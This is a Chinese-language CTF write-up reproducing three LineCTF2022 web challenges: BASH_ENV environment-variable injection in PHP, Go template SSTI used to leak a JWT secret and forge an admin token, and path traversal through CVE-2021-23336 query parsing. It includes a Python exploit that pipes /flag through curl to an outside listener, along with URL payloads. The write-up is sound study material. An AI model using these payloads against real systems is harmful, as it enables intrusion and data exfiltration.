【LineCTF2022】部分题目复现

前言

齐安信的比赛,当时都没发现有这比赛,现在有环境了来尝试复现下。

BB

审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php
error_reporting(0);

function bye($s, $ptn){
if(preg_match($ptn, $s)){
return false;
}
return true;
}

foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}");
}
}
system("bash -c 'imdude'");

foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) {
putenv("{$k}");
}
}
highlight_file(__FILE__);
?>

复杂的代码审计往往只需要几行朴实无华的代码,比如这段代码。我们发现我们能传入的只有env参数,并且这个参数还不能有字母。这个地方尝试用八进制绕过(whoami):

接着看这段代码,也十分眼熟啊,直接想到p牛不久前写的文章:
我是如何利用环境变量注入执行任意命令

文章详细剖析了原理,这里我们先直接运用BASH_ENV导致的命令注入,示例:

成功打印了imdude,说明注入点存在,既然如此,我们就可以利用curl反弹shell,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import string
import requests

cmd = 'cat /flag | curl -d @- xx.xx.xx.xx:2333'

o = ''

for c in cmd:
if c in string.ascii_letters:
o += f"$'\\{oct(ord(c))[2:]}'" #转八进制
else:
o += c

r = requests.get(f'http://caa49c7e-c032-4246-9864-b4df0d75fbbc.node4.buuoj.cn:81/?env[BASH_ENV]=`{o}`')
print(r.text)

监听2333端口,运行exp获取flag。

gotm

进入环境一看什么都没有,太爱了,不过给了附件,看了一下是用go语言写的,关键部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}

func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")

if uid == "" || upw == "" {
return
}

if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)

p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}

func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}

func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {

return
}
}

func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)

http.HandleFunc("/", root_handler)
http.HandleFunc("/auth", auth_handler)
http.HandleFunc("/flag", flag_handler)
http.HandleFunc("/regist", regist_handler)
log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}

我们总共有四个路由,上面的函数分别对应了四个路由的功能,我们最后要在/flag中获取flag,必须满足is_admin == true,那么就要求我们必须传入一个正确的X-Token。

而在/路由的函数中我们发现go语言的ssti,如果我们能令acc,即id的值为{{.}},就可以得到secert_key的值,这样就可以伪造jwt了。

首先我们根据/regist路由的内容注册账号:

1
/regist?id={{.}}&pw=123

接着根据/auth路由内容登录获取一个token,这个token的is_admin部分是false,我们无法直接使用,但是根据前面的ssti,我们可以访问/路由获取secret_key:

1
2
3
4
5
/auth?id={{.}}&pw=123
return:{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"}

带上token访问/
return:Logged in as {{{.}} 123 false this_is_f4Ke_key}

获取到secret_key的值为this_is_f4Ke_key,看起来还很有迷惑性,接下来伪造jwt:
1

带上伪造的token访问/flag路由,获取flag。

Memo Driver

进入页面看起来像是个留言板之类的东西,可以写东西然后保存,再进入/view路由查看,功能大概这么多。

然后下载附件查看源码,好家伙python写的,这三题用了三个语言写网页,太绝了。源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
import os
import hashlib
import shutil
import datetime
import uvicorn
import logging

from urllib.parse import unquote
from starlette.applications import Starlette
from starlette.responses import HTMLResponse
from starlette.routing import Route, Mount
from starlette.templating import Jinja2Templates
from starlette.staticfiles import StaticFiles

logger = logging.getLogger()
logger.setLevel(logging.DEBUG)

templates = Jinja2Templates(directory='./')
templates.env.autoescape = False

def index(request):
context = {}
memoList = []

try:
clientId = getClientID(request.client.host)
path = './memo/' + clientId

if os.path.exists(path):
memoList = os.listdir(path)

context['request'] = request
context['ip'] = request.client.host
context['clientId'] = clientId
context['memoList'] = memoList
context['count'] = len(memoList)

except:
pass

return templates.TemplateResponse('/view/index.html', context)

def save(request):
context = {}
memoList = []

try:
context['request'] = request
context['ip'] = request.client.host

contents = request.query_params['contents']
path = './memo/' + getClientID(request.client.host) + '/'

if os.path.exists(path) == False:
os.makedirs(path, exist_ok=True)

memoList = os.listdir(path)
idx = len(memoList)

if idx >= 3:
return HTMLResponse('Memo Full')
elif len(contents) > 100:
return HTMLResponse('Contents Size Error (MAX:100)')

filename = str(idx) + '_' + datetime.datetime.now().strftime('%Y%m%d%H%M%S')

f = open(path + filename, 'w')
f.write(contents)
f.close()

except:
pass

return HTMLResponse('Save Complete')

def reset(request):
context = {}

try:
context['request'] = request

clientId = getClientID(request.client.host)
path = './memo/' + clientId

if os.path.exists(path) == False:
return HTMLResponse('Memo Null')

shutil.rmtree(path)

except:
pass

return HTMLResponse('Reset Complete')

def view(request):
context = {}

try:
context['request'] = request
clientId = getClientID(request.client.host)

if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
raise

filename = request.query_params[clientId]
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename

f = open(path, 'r')
contents = f.readlines()
f.close()

context['filename'] = filename
context['contents'] = contents

except:
pass

return templates.TemplateResponse('/view/view.html', context)

def getClientID(ip):
key = ip + '_' + os.getenv('SALT')

return hashlib.md5(key.encode('utf-8')).hexdigest()

routes = [
Route('/', endpoint=index),
Route('/view', endpoint=view),
Route('/reset', endpoint=reset),
Route('/save', endpoint=save),
Mount('/static', StaticFiles(directory='./static'), name='static')
]

app = Starlette(debug=False, routes=routes)

if __name__ == "__main__":
logging.info("Starting Starlette Server")
uvicorn.run(app, host="0.0.0.0", port=11000)

四个路由分别对应了之前网页的四个功能,接下来最重要的是就是找rce或文件读取的点,发现在/view路由中存在文件读取:

1
2
3
f = open(path, 'r')
contents = f.readlines()
f.close()

那么我们就要将path读到flag,那重点还是在这个/view路由中,分析函数,发现不能存在.&。不过由于题目的python是3.9.0的,因此存在CVE-2021-23336漏洞,这个CVE会把;當作&

这样的话,利用query_params的错误解析,当value以;分割后,query_params会截取;前半部分,而query_params.keys()会将key和a;后面的b,c当作key。

那么如果我们构建这样的payload:

1
/view?id=flag;/..

request.url直接raw URL,沒有进行decode,然后request.url.query也是沒有decode,之后到了request.query_params的被解析成两个params:

1
2
id=flag
/..=

而最后在request.query_params.keys()的時候被decode,结合起来的path就变成了:

1
./memo/id/../flag

flag在./memo/flag这样就成功读取到了flag。

后来看了另一个大佬的wp,发现还有一个更神奇的操作可以构造path,利用到的是Host header,payload是这样构建的:

1
#/view?id=flag&/..

这样payload传入后,request.url.query完全是空的,但是request.query_params依然存在,因此检查就被绕过,达到绕过的效果。

这种方法的原理大概就是,request.url是从Host header构造而来的,Host后如果加了个#,之后的部分都被当成fragment来解析,而不是 query string,所以request.url.query置空了。而request.query_params是直接拿最原始的query string,因此被保留了。

path构造出来仍是./memo/id/../flag,不过我在buu没有这个方法复现成功,可能是平台解析的问题。